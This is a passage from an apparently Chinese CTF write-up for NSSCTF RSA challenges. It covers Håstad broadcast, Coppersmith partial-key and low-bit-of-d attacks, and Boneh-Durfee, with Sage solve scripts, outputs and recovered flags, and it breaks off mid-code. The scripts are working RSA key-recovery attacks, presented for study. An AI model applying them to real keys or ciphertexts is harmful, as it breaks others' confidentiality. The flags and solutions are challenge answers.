B = [338, 554, 768, 638, 548]
29
'''

展开收起

分析#

eee 不一样大，可以取前两个或者后三个来进行 Hastad (非预期)

1
from Crypto.Util.number import long_to_bytes
2

3
e = [3, 3, 5, 5, 5]
4
Cs = [1638372860396333830858192139299197565315535797114047251934794618479536350353064186140459367290707128364710894701037380862116232991456320452033817724729745999551370161110364719775843718524874686887258953369568831680913879476181277785920985528366522169515587323204831502022101524013959969707030218702665635534427846097310528, 24875103245287518333798583341170669610612985353699595724009027288108265538326708679930645795919635882205442133007431151523157879281206220723880745758565471501438254496442690083695181899335274484890789079296262809116356375268279845048678237286447923982167817217922153443176926762232059077533241044053964988769850924306985288, 64688172933628370164101081823612690628987450046625542396917972565171355353907472697857255273381548322579305723285123851525656566580337341114653428214836087595329638898225145943365511037774869374134885003316128253926961420282704740956759510282270641913416144450959604091354160410240665076557553695082195679797827535998182932257141208537699109343258070255441327703937342812407754987740672481360192201134257594522722416452532574980648175817255926752015634178759148371873886725487426882416560377719144628014480729074137290874113394638649, 2331510898077623659120984694249257439156322301842388986730933314009350853947089766519871253176646702446795943582256729119033154456495699173945031006143311061427619102940335615125087858864022720270624007893746341836293909702537610528426633085355155950799091717823412938027363876570661223166297511428235178239172777386054157082903814899961457013918859628205065752880604381763832163537338551244398891801443773401629786720308176486501031559320335954176695196225203579812567823068688019940197116285653102121974647104338589625423162979123200000, 43352520643859740433225512983905414415548381386134203892101097918185149451843972944152506360707251233402378401486868477947209998018140026240239412053179633750634829740693522063308924633469091372871162080586416600131760956876088974352867618081110555761392159757815560347289247112408714776983781605234434193615594699312985986139327998952524143416350988540093792251368427565860264534170095799987780694458909019564914374157162696794037736526763479508220179034487041180476942175322953798097172419873588374189541978291235559914015746424832]
5
Ns = [18851715582267592911067637781505654688524006829609246212518637897179276424340538881817812202528554956234031661903911094094631063183133761100477455043312123459298106634164727720627011192110779310094771478538283788677548037922530846281891688189750395295091964623923749350256625089576542690752106832774515171043826627323369467260229924116376613509392517052062075900227272040203183759436637270279153088519018200373369193287900910393638164679806105636141482865492140475543667203300150180799017010647191076802371803957049729665372388660643393619274625881752621206735741181918995753694012667166942840946695127545765890742063, 10267889563711456032579409966472790716819993551437295130252040883990243681903448974535591113545723576913765740482844093394217174748720819947126768257873382519317182097620449979975383634794725676148262423293825784384533131631434500141020335993500562261013949796155168237990517113432978329233691874362416933639983930536969236091719851430961549012395926775041931819868164629850848771931505977967078205269399517880792473005512550209988476927697762292764104113892623269364458825553466135026856101503576301198196565099526473547248865742864274841493027912793979121030411574680325683879250124843231524231297963898683611241527, 13319929603701741793046504861847275881318265379528541599237187836042138080675688093798835275556697353969650992398737328710351200421781106774355347739070892841366306344713730729129300977800957626288502163079067715579382767916393807593767445074588824226624616133919776732577297061788596743900830022053036147505073981250694269494874718657327986653908553022998256475699594299485467200757418076210359679356806790879777840686012933726208975488043576064467651494231751296178499718963576152784658938960177680763100892103245100085259616393419229979173756419121148473713407084223326468838444608241533523272737548699784114288903, 15549454451010517732114866346347857621738418424726590607108866905866201671458396332585415677794254468988000522332928496951404966782246273839731570675805037547434885303486571417761150107287375265185136666085669367768385334732360327965658288195932251712038801089064036484182689420567148777802229959025706026709147490355638461816828297349827923064039389517458474972494803430895794622409100453812936135163906960476019328052200697229957383357240180993014685003281514802948810450239516985749998285384120569891328984748185007801287194757011610585773959113119657356194098917480068595559585415503075706079451596444873538025303, 10893748607240110955496798243605432030914497581057961213501578142738832043376333318606333861002076584473798177824249978795107994620002676260061434742704861691017695197358462123116073867166385116309506188722505093349759974669126863738760846667781081937653476878088812043691664173859578763022307064317030903235196823302973152319271598841684324885625237030423977448610068847582315745648803893547950848775977888604054275196982524051414526965045483738781651554877828535198984557716599475979572917851219474771059404496356672662467552795811246938928548202179363916774439119111218984949582826015360298300266708147597580287967]
6
A = [42, 104, 13, 106, 12]
7
B = [338, 554, 768, 638, 548]
8

9
Fs = []
10

11
for i in [2, 3, 4]:
12
    PR.<x> = PolynomialRing(Zmod(Ns[i]))
13
    f = (A[i] * x + B[i])^e[i] - Cs[i]
14
    f = f.monic()
15
    f = f.change_ring(ZZ)
16
    Fs.append(f)
17

18
F = crt(Fs,Ns[2:5])
19
M = reduce(lambda x,y: x*y, Ns[2:5])
20
FF = F.change_ring(Zmod(M))
21
m = FF.monic().small_roots()[0]
22
print(long_to_bytes(int(m)))
23

24
# b'NSSCTF{62e90a0e-c982-4a00-8ae9-eb493786a7d6}'

展开收起

也可以将每个式子配好相同的次数，即 SMUPE 问题 (预期解)

1
from Crypto.Util.number import long_to_bytes
2

3
e = [3, 3, 5, 5, 5]
4
Cs = [1638372860396333830858192139299197565315535797114047251934794618479536350353064186140459367290707128364710894701037380862116232991456320452033817724729745999551370161110364719775843718524874686887258953369568831680913879476181277785920985528366522169515587323204831502022101524013959969707030218702665635534427846097310528, 24875103245287518333798583341170669610612985353699595724009027288108265538326708679930645795919635882205442133007431151523157879281206220723880745758565471501438254496442690083695181899335274484890789079296262809116356375268279845048678237286447923982167817217922153443176926762232059077533241044053964988769850924306985288, 64688172933628370164101081823612690628987450046625542396917972565171355353907472697857255273381548322579305723285123851525656566580337341114653428214836087595329638898225145943365511037774869374134885003316128253926961420282704740956759510282270641913416144450959604091354160410240665076557553695082195679797827535998182932257141208537699109343258070255441327703937342812407754987740672481360192201134257594522722416452532574980648175817255926752015634178759148371873886725487426882416560377719144628014480729074137290874113394638649, 2331510898077623659120984694249257439156322301842388986730933314009350853947089766519871253176646702446795943582256729119033154456495699173945031006143311061427619102940335615125087858864022720270624007893746341836293909702537610528426633085355155950799091717823412938027363876570661223166297511428235178239172777386054157082903814899961457013918859628205065752880604381763832163537338551244398891801443773401629786720308176486501031559320335954176695196225203579812567823068688019940197116285653102121974647104338589625423162979123200000, 43352520643859740433225512983905414415548381386134203892101097918185149451843972944152506360707251233402378401486868477947209998018140026240239412053179633750634829740693522063308924633469091372871162080586416600131760956876088974352867618081110555761392159757815560347289247112408714776983781605234434193615594699312985986139327998952524143416350988540093792251368427565860264534170095799987780694458909019564914374157162696794037736526763479508220179034487041180476942175322953798097172419873588374189541978291235559914015746424832]
5
Ns = [18851715582267592911067637781505654688524006829609246212518637897179276424340538881817812202528554956234031661903911094094631063183133761100477455043312123459298106634164727720627011192110779310094771478538283788677548037922530846281891688189750395295091964623923749350256625089576542690752106832774515171043826627323369467260229924116376613509392517052062075900227272040203183759436637270279153088519018200373369193287900910393638164679806105636141482865492140475543667203300150180799017010647191076802371803957049729665372388660643393619274625881752621206735741181918995753694012667166942840946695127545765890742063, 10267889563711456032579409966472790716819993551437295130252040883990243681903448974535591113545723576913765740482844093394217174748720819947126768257873382519317182097620449979975383634794725676148262423293825784384533131631434500141020335993500562261013949796155168237990517113432978329233691874362416933639983930536969236091719851430961549012395926775041931819868164629850848771931505977967078205269399517880792473005512550209988476927697762292764104113892623269364458825553466135026856101503576301198196565099526473547248865742864274841493027912793979121030411574680325683879250124843231524231297963898683611241527, 13319929603701741793046504861847275881318265379528541599237187836042138080675688093798835275556697353969650992398737328710351200421781106774355347739070892841366306344713730729129300977800957626288502163079067715579382767916393807593767445074588824226624616133919776732577297061788596743900830022053036147505073981250694269494874718657327986653908553022998256475699594299485467200757418076210359679356806790879777840686012933726208975488043576064467651494231751296178499718963576152784658938960177680763100892103245100085259616393419229979173756419121148473713407084223326468838444608241533523272737548699784114288903, 15549454451010517732114866346347857621738418424726590607108866905866201671458396332585415677794254468988000522332928496951404966782246273839731570675805037547434885303486571417761150107287375265185136666085669367768385334732360327965658288195932251712038801089064036484182689420567148777802229959025706026709147490355638461816828297349827923064039389517458474972494803430895794622409100453812936135163906960476019328052200697229957383357240180993014685003281514802948810450239516985749998285384120569891328984748185007801287194757011610585773959113119657356194098917480068595559585415503075706079451596444873538025303, 10893748607240110955496798243605432030914497581057961213501578142738832043376333318606333861002076584473798177824249978795107994620002676260061434742704861691017695197358462123116073867166385116309506188722505093349759974669126863738760846667781081937653476878088812043691664173859578763022307064317030903235196823302973152319271598841684324885625237030423977448610068847582315745648803893547950848775977888604054275196982524051414526965045483738781651554877828535198984557716599475979572917851219474771059404496356672662467552795811246938928548202179363916774439119111218984949582826015360298300266708147597580287967]
6
A = [42, 104, 13, 106, 12]
7
B = [338, 554, 768, 638, 548]
8

9
max_e = max(e)
10

11
Fs = []
12

13
for i in range(5):
14
    PR.<x> = PolynomialRing(Zmod(Ns[i]))
15
    f = (A[i] * x + B[i])^e[i] - Cs[i]
16
    f = f * x ^ (max_e - e[i])
17
    f = f.monic()
18
    f = f.change_ring(ZZ)
19
    Fs.append(f)
20

21
F = crt(Fs,Ns)
22
M = reduce(lambda x,y: x*y, Ns)
23
FF = F.change_ring(Zmod(M))
24
m = FF.monic().small_roots()[0]
25
print(long_to_bytes(int(m)))
26

27
# b'NSSCTF{62e90a0e-c982-4a00-8ae9-eb493786a7d6}'

展开收起

NSSCTF工坊[RSA4] P8 m高位泄露#

题目#

1
from Crypto.Util.number import *
2

3
p = getPrime(512)
4
q = getPrime(512)
5

6
flag = b'NSSCTF{******}'
7

8
n = p*q
9
m = bytes_to_long(flag)
10

11
e = 3
12
c = pow(m, e, n)
13

14
print(f'n = {n}')
15
print(f'm = {m>>100}')
16
print(f'c = {c}')
17

18
'''
19
n = 1527542955109141740955682973826193262775892499957309448026045241470857728195657663426381459817190647872750820593934305392986732687654051540838628636529717414135863605586498459487983117670942529496973140251670874510207985224170313618738268651184582186637089407746738836054395760157095709388670653150429457223183161697730087281761369404956762102465246289770300941300936135728738323821631682286737786472020790680432476428922187234364341215016265407571963282147129157
20
m = 2214226572250613833249705195927505959981823363137633354626532745196588970707
21
c = 22113876206623661468496987580282614626160320529328454393375952035910523390370709980915981609422504775420007441257006956611997263223244837790238493516238723139514158563675396731542096229586616735753203254810465452822757959264870210654015436735165961713016222816604825816304606749448517022584926571828009062411578367333
22
'''

展开收起

分析#

eee 小，mmm 大部分高位泄露，设 m=mhigh+mlowm = m_{high} + m_{low}m=mhigh+mlow，则 c≡me≡(mhigh+mlow)3c \equiv m ^ e \equiv (m_{high} + m_{low})^3c≡me≡(mhigh+mlow)3

1
reset()
2
from Crypto.Util.number import long_to_bytes
3

4
k = 100
5
n = 1527542955109141740955682973826193262775892499957309448026045241470857728195657663426381459817190647872750820593934305392986732687654051540838628636529717414135863605586498459487983117670942529496973140251670874510207985224170313618738268651184582186637089407746738836054395760157095709388670653150429457223183161697730087281761369404956762102465246289770300941300936135728738323821631682286737786472020790680432476428922187234364341215016265407571963282147129157
6
mh = 2214226572250613833249705195927505959981823363137633354626532745196588970707
7
mh = mh << k
8
c = 22113876206623661468496987580282614626160320529328454393375952035910523390370709980915981609422504775420007441257006956611997263223244837790238493516238723139514158563675396731542096229586616735753203254810465452822757959264870210654015436735165961713016222816604825816304606749448517022584926571828009062411578367333
9
e = 3
10

11

12
PRn.<x> = PolynomialRing(Zmod(n))
13
f = (mh + x)^e - c
14
f = f.monic()
15

16
roots = f.small_roots()
17
print(roots)
18

19
for root in roots:
20
    root = int(root)
21
    print("\n[+] get root:", root)
22
    print("[*] m =", mh + root)
23
    print("[*]", long_to_bytes(mh + root))
24

25
"""
26
[586224111363642075583459307645]
27

28
[+] get root: 586224111363642075583459307645
29
[*] m = 2806865643354785581450142994351107732326351637470254633277360198619644201711450860255199207594318928228477
30
[*] b'NSSCTF{688404a6-c408-4196-bc43-7f18317a9170}'
31
"""

展开收起

NSSCTF工坊[RSA4] P9 把 nnn 的因数 b≥Nβb \ge N^\betab≥Nβ 当作模数#

题目#

1
from Crypto.Util.number import *
2

3
p = getPrime(512)
4
q = getPrime(512)
5

6
flag = b'NSSCTF{******}'
7

8
n = p*q
9
m = bytes_to_long(flag)
10

11
e = 65537
12
c = pow(m, e, n)
13

14
print(f'n = {n}')
15
print(f'p = {p>>100}')
16
print(f'c = {c}')
17

18
'''
19
n = 64335017257291288694879798080666629573501118113377179370850991421806469826103134483305987256497147128148330360834028920504233940886960965527818740354522230977284177508093687651712761343376265176857120577153061490788347779327206437787594150381508592990273475278503352979893670354730287704989079247190299342871
20
p = 7550547038897825994210519739007596111285476244196123253081036462313916767780871742001683690783926938603422562506786339392389
21
c = 63156227746402147833665215816432368072100003179308515827461336094419526246728847463629131014545663919689064970828884371592840335299717484415279040662500514230579275586231051576688620810169339105201465431624989678170362157914366609856305650090630980489686792938272599406165204410721499875713189193728688835223
22
'''

展开收起

分析#

n=pq=q(ph+pl)n = pq = q(p_h + p_l)n=pq=q(ph+pl)

ppp 和 qqq 的位数约为 nnn 的一半，利用*“给定 β\betaβ，快速求出模某个 bbb 意义下较小的根，其中 b≥nβb \ge n^\betab≥nβ，是 nnn 的因数”*。 small_roots 时设 beta<.5

1
reset()
2
from Crypto.Util.number import long_to_bytes
3

4
k = 100
5

6
e = 0x10001
7
n = 64335017257291288694879798080666629573501118113377179370850991421806469826103134483305987256497147128148330360834028920504233940886960965527818740354522230977284177508093687651712761343376265176857120577153061490788347779327206437787594150381508592990273475278503352979893670354730287704989079247190299342871
8
ph = 7550547038897825994210519739007596111285476244196123253081036462313916767780871742001683690783926938603422562506786339392389
9
ph = ph << k
10
c = 63156227746402147833665215816432368072100003179308515827461336094419526246728847463629131014545663919689064970828884371592840335299717484415279040662500514230579275586231051576688620810169339105201465431624989678170362157914366609856305650090630980489686792938272599406165204410721499875713189193728688835223
11

12

13
PRn.<x> = PolynomialRing(Zmod(n))
14

15
f = ph + x
16
f = f.monic()
17

18
roots = f.small_roots(X = 2^k, beta = .4)
19
print(roots)
20
for root in roots:
21
    root = int(root)
22
    p = ph + root
23
    print("\n[+] get root:", root)
24
    if n % p != 0:
25
        print("[-] wrong answer")
26
        continue
27
    print("[*] p =", p)
28
    q = n // p
29
    phi = (p-1)*(q-1)
30
    d = int(pow(e, -1, phi))
31
    m = int(pow(c, d, n))
32
    print("[*]", long_to_bytes(m))
33
"""
34
[454816335479034891704851699843]
35

36
[+] get root: 454816335479034891704851699843
37
[*] p = 9571455485910309291916917316888534528443339900073567672342627514933886471478666308857617873057362700447653818641726655818289650455563616992849737369983107
38
[*] b'NSSCTF{36a5ae48-f281-4576-8d1f-acab0666bff2}'
39
"""

展开收起

NSSCTF工坊[RSA4] P10 已知 d 低位，求 p, q#

题目#

1
from Crypto.Util.number import *
2

3
p = getPrime(512)
4
q = getPrime(512)
5

6
flag = b'NSSCTF{******}'
7

8
n = p*q
9
m = bytes_to_long(flag)
10

11
e = 7
12
d = inverse(e, (p-1)*(q-1))
13
c = pow(m, e, n)
14

15
print(f'n = {n}')
16
print(f'd = {d&(2**410-1)}')
17
print(f'c = {c}')
18

19
'''
20
n = 156739515226635581524592797610847324418529702729659760727202454324501479907596255649349406182566636617352761983459648380669151952249526892078378572831346100444943020314226860094300911303589453661009834514243241261318188779118227457185670049393331570167726982038500849886842419000632840251465852441285715712609
21
d = 1865327042408619801352057511348007441275330638921397637214779955824487081626289235627502761209800783644652914147540081431451
22
c = 72260884070910873253619893714557327479300651539617744913822595501549980223259020597000998829262506949824325397279990912888752157554696212466966682483623575703479116305560808218806054242135099446883072418808228726774129042552815016924170283352225826854235696829480360844745488070927932843928843556296485306121
23
'''

展开收起

分析#

参考 phase 4: 已知 d 低位，求 p, q | Pion1eer

已知 ddd 的低 410410410 位，即已知 dlow=d mod 2410d_{low} = d \bmod 2^{410}dlow=dmod2410

ed≡1(mod(p−1)(q−1))7d=1+k(p−1)(q−1) (where k<7)ed \equiv 1 \pmod {(p-1)(q-1)}\\ 7d = 1 + k (p-1)(q-1) \space (\text{where } k < 7)ed≡1(mod(p−1)(q−1))7d=1+k(p−1)(q−1) (where k<7)

两边取 mod 2410\bmod{2^{410}}mod2410

7dlow≡1+k(p−1)(q−1)(mod2410)7d_{low} \equiv 1 + k (p-1)(q-1) \pmod{2^{410}}7dlow≡1+k(p−1)(q−1)(mod2410)

以 np\frac{n}{p}pn 代替 qqq，化为单变量等式：

7dlowp≡1+k(pn−p2−n−p)(mod2410)7d_{low}p \equiv 1 + k(pn - p^2 - n - p) \pmod{2^{410}}7dlowp≡1+k(pn−p2−n−p)(mod2410)

模意义下一元二次方程，解完可以得到 plow=p mod 2410p_{low} = p \bmod {2^{410}}plow=pmod2410

然后再利用 P9 解出完整的 ppp 即可

1
from Crypto.Util.number import long_to_bytes
2

3
n = 156739515226635581524592797610847324418529702729659760727202454324501479907596255649349406182566636617352761983459648380669151952249526892078378572831346100444943020314226860094300911303589453661009834514243241261318188779118227457185670049393331570167726982038500849886842419000632840251465852441285715712609
4
dl = 1865327042408619801352057511348007441275330638921397637214779955824487081626289235627502761209800783644652914147540081431451
5
c = 72260884070910873253619893714557327479300651539617744913822595501549980223259020597000998829262506949824325397279990912888752157554696212466966682483623575703479116305560808218806054242135099446883072418808228726774129042552815016924170283352225826854235696829480360844745488070927932843928843556296485306121
6

7
def get_p_low():
8
    print("get_p_low")
9
    maybe_p_low = []
10
    p = var('p')
11
    for k in range(1, 7+1):
12
        f = k * (n*p - p^2 - n + p) + p - 7*dl*p
13
        roots = solve_mod([f], 2^410)
14
        maybe_p_low += [int(root[0]) for root in roots]
15
        print(f"[+] k =", k,"\troots =", roots)
16
    print("maybe_p_low:", maybe_p_low)
17

18
    maybe_p = []
19
    for p_low in maybe_p_low:
20
        p = get_full_p(p_low)
21
        if p:
22
            maybe_p.append(p)
23

24
    print(maybe_p)
25

26
    for p in maybe_p:
27
        if n % p == 0:
28
            print("Found p:", p)
29
            return p
30

31
def get_full_p(p_low):
32
    PR.<x> = PolynomialRing(Zmod(n))
33
    p = x * 2^410 + p_low - n
34
    roots = p.monic().small_roots(X = 2^(512-410), beta = .4)
35
    if roots:
36
        return int(p(roots[0]))
37
    return None
38

39
p = get_p_low()
40
q = n // p
41
assert n == p * q
42

43
e = 7
44
d = pow(e, -1, (p-1)*(q-1))
45

46
m = pow(c, d, n)
47
long_to_bytes(m)
48

49
"""
50
get_p_low
51
[+] k = 1   roots = []
52
[+] k = 2   roots = []
53
[+] k = 3   roots = [(15782400274410125266299615039204687648239749624968048772538108316107834343510984483373502800953549213874615211388273835803,), (216175167833235042695566043002922999174165975344341575587144398195111696541111662186439526374789175117314044084502035159091,), (346310384669534424742257269055590207562442091107108658414862505953310729961666657395968108020811191637670221223899952987931,), (546703152228359342171523697019308519088368316826482185229468795832314592159267335099034131594646817541109650097013714311219,), (676838369064658724218214923071975727476644432589249268057186903590513625579822330308562713240668834061465827236411632140059,), (877231136623483641647481351035694039002570658308622794871793193469517487777423008011628736814504459964905256109525393463347,), (1007366353459783023694172577088361247390846774071389877699511301227716521197978003221157318460526476485261433248923311292187,), (1207759121018607941123439005052079558916772999790763404514117591106720383395578680924223342034362102388700862122037072615475,), (1337894337854907323170130231104746767305049115553530487341835698864919416816133676133751923680384118909057039261434990444315,), (1538287105413732240599396659068465078830975341272904014156441988743923279013734353836817947254219744812496468134548751767603,), (1668422322250031622646087885121132287219251457035671096984160096502122312434289349046346528900241761332852645273946669596443,), (1868815089808856540075354313084850598745177682755044623798766386381126174631890026749412552474077387236292074147060430919731,), (1998950306645155922122045539137517807133453798517811706626484494139325208052445021958941134120099403756648251286458348748571,), (2199343074203980839551311967101236118659380024237185233441090784018329070250045699662007157693935029660087680159572110071859,), (2329478291040280221598003193153903327047656139999952316268808891776528103670600694871535739339957046180443857298970027900699,), (2529871058599105139027269621117621638573582365719325843083415181655531965868201372574601762913792672083883286172083789223987,)]
54
[+] k = 4   roots = []
55
[+] k = 5   roots = []
56
[+] k = 6   roots = []
57
[+] k = 7   roots = []
58
maybe_p_low: [15782400274410125266299615039204687648239749624968048772538108316107834343510984483373502800953549213874615211388273835803, 216175167833235042695566043002922999174165975344341575587144398195111696541111662186439526374789175117314044084502035159091, 346310384669534424742257269055590207562442091107108658414862505953310729961666657395968108020811191637670221223899952987931, 546703152228359342171523697019308519088368316826482185229468795832314592159267335099034131594646817541109650097013714311219, 676838369064658724218214923071975727476644432589249268057186903590513625579822330308562713240668834061465827236411632140059, 877231136623483641647481351035694039002570658308622794871793193469517487777423008011628736814504459964905256109525393463347, 1007366353459783023694172577088361247390846774071389877699511301227716521197978003221157318460526476485261433248923311292187, 1207759121018607941123439005052079558916772999790763404514117591106720383395578680924223342034362102388700862122037072615475, 1337894337854907323170130231104746767305049115553530487341835698864919416816133676133751923680384118909057039261434990444315, 1538287105413732240599396659068465078830975341272904014156441988743923279013734353836817947254219744812496468134548751767603, 1668422322250031622646087885121132287219251457035671096984160096502122312434289349046346528900241761332852645273946669596443, 1868815089808856540075354313084850598745177682755044623798766386381126174631890026749412552474077387236292074147060430919731, 1998950306645155922122045539137517807133453798517811706626484494139325208052445021958941134120099403756648251286458348748571, 2199343074203980839551311967101236118659380024237185233441090784018329070250045699662007157693935029660087680159572110071859, 2329478291040280221598003193153903327047656139999952316268808891776528103670600694871535739339957046180443857298970027900699, 2529871058599105139027269621117621638573582365719325843083415181655531965868201372574601762913792672083883286172083789223987]
59
[12808244700891848571681229867945939151349649203736478559496534700297805628016283555802028490128990889103978707177718442769816734510420394810692765321412379, 12237392311510232207733315168168939306945753136553292583198371223481698647146588134299029434945831935900733541708388736093730289336504023586822354826680371]
60
Found p: 12808244700891848571681229867945939151349649203736478559496534700297805628016283555802028490128990889103978707177718442769816734510420394810692765321412379
61
b'NSSCTF{e5430ded-500c-4cc0-9bdb-b4e40a9be3a0}'
62
"""

展开收起

NSSCTF工坊[RSA4] P11 Boneh and Durfee Attack#

题目#

1
from Crypto.Util.number import *
2

3
p = getPrime(512)
4
q = getPrime(512)
5

6
flag = b'NSSCTF{******}'
7

8
n = p*q
9
m = bytes_to_long(flag)
10

11
d = getPrime(int(1024*0.27))
12
e = inverse(d, (p-1)*(q-1))
13
c = pow(m, e, n)
14

15
print(f'n = {n}')
16
print(f'e = {e}')
17
print(f'c = {c}')
18

19
'''
20
n = 160114502501162084436964583573537478796032975208003641998245321466054315024090626426576990670846673676284220472762005347545857048805279326218401844652650972020279579076862422448095751869541093396088035262462766840652498826036642824370917665518133929602675230369722990871966227199496065637730328810028624771799
21
e = 45345940569506069958442629331605385637541863502889625766318025882612322508079296362452308633027956256763871699363730475762179734871820426435674201573024637206928394192742633431788159554008858191365192772486379417021387095234660386008405855409257903024187126197769938866986740500855322639995703897171982472409
22
c = 54804574756729863920967159846060185937697266820658443964397350756668642051647933464063713653569896152539760694973280490768379727191709149635944250514794939902138783777815040318178431874892245462786377699958110644049375757179588739287406833915772871299296750059138805811112990483420256564588150314150915692126
23
'''

展开收起

分析#

由

d≈N0.27d \approx N^{0.27}d≈N0.27

估算得:

ed2≥12N3/2ed^2 \ge \frac{1}{2} N^{3/2}ed2≥21N3/2

不满足 weiner attack 的条件 ed2⪅12N3/2ed^2 \lessapprox \frac{1}{2} N^{3/2}ed2⪅21N3/2

参考:

拿到新的板板

1
from Crypto.Util.number import *
2

3
N = 160114502501162084436964583573537478796032975208003641998245321466054315024090626426576990670846673676284220472762005347545857048805279326218401844652650972020279579076862422448095751869541093396088035262462766840652498826036642824370917665518133929602675230369722990871966227199496065637730328810028624771799
4
e = 45345940569506069958442629331605385637541863502889625766318025882612322508079296362452308633027956256763871699363730475762179734871820426435674201573024637206928394192742633431788159554008858191365192772486379417021387095234660386008405855409257903024187126197769938866986740500855322639995703897171982472409
5
c = 54804574756729863920967159846060185937697266820658443964397350756668642051647933464063713653569896152539760694973280490768379727191709149635944250514794939902138783777815040318178431874892245462786377699958110644049375757179588739287406833915772871299296750059138805811112990483420256564588150314150915692126
6
"""
7
Setting debug to true will display more informations
8
about the lattice, the bounds, the vectors...
9
"""
10
debug = False
11

12
"""
13
Setting strict to true will stop the algorithm (and
14
return (-1, -1)) if we don't have a correct
15
upperbound on the determinant. Note that this
16
doesn't necesseraly mean that no solutions
17
will be found since the theoretical upperbound is
18
usualy far away from actual results. That is why
19
you should probably use `strict = False`
20
"""
21
strict = False
22

23
"""
24
This is experimental, but has provided remarkable results
25
so far. It tries to reduce the lattice as much as it can
26
while keeping its efficiency. I see no reason not to use
27
this option, but if things don't work, you should try
28
disabling it
29
"""
30
helpful_only = True
31
dimension_min = 7  # stop removing if lattice reaches that dimension
32

33

34
############################################
35
# Functions
36
##########################################
37

38
# display stats on helpful vectors
39
def helpful_vectors(BB, modulus):
40
    nothelpful = 0
41
    for ii in range(BB.dimensions()[0]):
42
        if BB[ii, ii] >= modulus:
43
            nothelpful += 1
44

45
    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
46

47

48
# display matrix picture with 0 and X
49
def matrix_overview(BB, bound):
50
    for ii in range(BB.dimensions()[0]):
51
        a = ('%02d ' % ii)
52
        for jj in range(BB.dimensions()[1]):
53
            a += '0' if BB[ii, jj] == 0 else 'X'
54
            if BB.dimensions()[0] < 60:
55
                a += ' '
56
        if BB[ii, ii] >= bound:
57
            a += '~'
58
        print(a)
59

60

61
# tries to remove unhelpful vectors
62
# we start at current = n-1 (last vector)
63
def remove_unhelpful(BB, monomials, bound, current):
64
    # end of our recursive function
65
    if current == -1 or BB.dimensions()[0] <= dimension_min:
66
        return BB
67

68
    # we start by checking from the end
69
    for ii in range(current, -1, -1):
70
        # if it is unhelpful:
71
        if BB[ii, ii] >= bound:
72
            affected_vectors = 0
73
            affected_vector_index = 0
74
            # let's check if it affects other vectors
75
            for jj in range(ii + 1, BB.dimensions()[0]):
76
                # if another vector is affected:
77
                # we increase the count
78
                if BB[jj, ii] != 0:
79
                    affected_vectors += 1
80
                    affected_vector_index = jj
81

82
            # level:0
83
            # if no other vectors end up affected
84
            # we remove it
85
            if affected_vectors == 0:
86
                # print("* removing unhelpful vector", ii)
87
                BB = BB.delete_columns([ii])
88
                BB = BB.delete_rows([ii])
89
                monomials.pop(ii)
90
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
91
                return BB
92

93
            # level:1
94
            # if just one was affected we check
95
            # if it is affecting someone else
96
            elif affected_vectors == 1:
97
                affected_deeper = True
98
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
99
                    # if it is affecting even one vector
100
                    # we give up on this one
101
                    if BB[kk, affected_vector_index] != 0:
102
                        affected_deeper = False
103
                # remove both it if no other vector was affected and
104
                # this helpful vector is not helpful enough
105
                # compared to our unhelpful one
106
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
107
                        bound - BB[ii, ii]):
108
                    # print("* removing unhelpful vectors", ii, "and", affected_vector_index)
109
                    BB = BB.delete_columns([affected_vector_index, ii])
110
                    BB = BB.delete_rows([affected_vector_index, ii])
111
                    monomials.pop(affected_vector_index)
112
                    monomials.pop(ii)
113
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
114
                    return BB
115
    # nothing happened
116
    return BB
117

118

119
"""
120
Returns:
121
* 0,0   if it fails
122
* -1,-1 if `strict=true`, and determinant doesn't bound
123
* x0,y0 the solutions of `pol`
124
"""
125

126

127
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
128
    """
129
    Boneh and Durfee revisited by Herrmann and May
130

131
    finds a solution if:
132
    * d < N^delta
133
    * |x| < e^delta
134
    * |y| < e^0.5
135
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
136
    """
137

138
    # substitution (Herrman and May)
139
    PR.<u,x,y> = PolynomialRing(ZZ)
140
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
141
    polZ = Q(pol).lift()
142

143
    UU = XX * YY + 1
144

145
    # x-shifts
146
    gg = []
147
    for kk in range(mm + 1):
148
        for ii in range(mm - kk + 1):
149
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
150
            gg.append(xshift)
151
    gg.sort()
152

153
    # x-shifts list of monomials
154
    monomials = []
155
    for polynomial in gg:
156
        for monomial in polynomial.monomials():
157
            if monomial not in monomials:
158
                monomials.append(monomial)
159
    monomials.sort()
160

161
    # y-shifts (selected by Herrman and May)
162
    for jj in range(1, tt + 1):
163
        for kk in range(floor(mm / tt) * jj, mm + 1):
164
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
165
            yshift = Q(yshift).lift()
166
            gg.append(yshift)  # substitution
167

168
    # y-shifts list of monomials
169
    for jj in range(1, tt + 1):
170
        for kk in range(floor(mm / tt) * jj, mm + 1):
171
            monomials.append(u ^ kk * y ^ jj)
172

173
    # construct lattice B
174
    nn = len(monomials)
175
    BB = Matrix(ZZ, nn)
176
    for ii in range(nn):
177
        BB[ii, 0] = gg[ii](0, 0, 0)
178
        for jj in range(1, ii + 1):
179
            if monomials[jj] in gg[ii].monomials():
180
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)
181

182
    # Prototype to reduce the lattice
183
    if helpful_only:
184
        # automatically remove
185
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
186
        # reset dimension
187
        nn = BB.dimensions()[0]
188
        if nn == 0:
189
            print("failure")
190
            return 0, 0
191

192
    # check if vectors are helpful
193
    if debug:
194
        helpful_vectors(BB, modulus ^ mm)
195

196
    # check if determinant is correctly bounded
197
    det = BB.det()
198
    bound = modulus ^ (mm * nn)
199
    if det >= bound:
200
        # print("We do not have det < bound. Solutions might not be found.")
201
        # print("Try with highers m and t.")
202
        if debug:
203
            diff = (log(det) - log(bound)) / log(2)
204
            # print("size det(L) - size e^(m*n) = ", floor(diff))
205
        if strict:
206
            return -1, -1
207
    else:
208
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
209

210
    # display the lattice basis
211
    if debug:
212
        matrix_overview(BB, modulus ^ mm)
213

214
    # LLL
215
    if debug:
216
        print("optimizing basis of the lattice via LLL, this can take a long time")
217

218
    BB = BB.LLL()
219

220
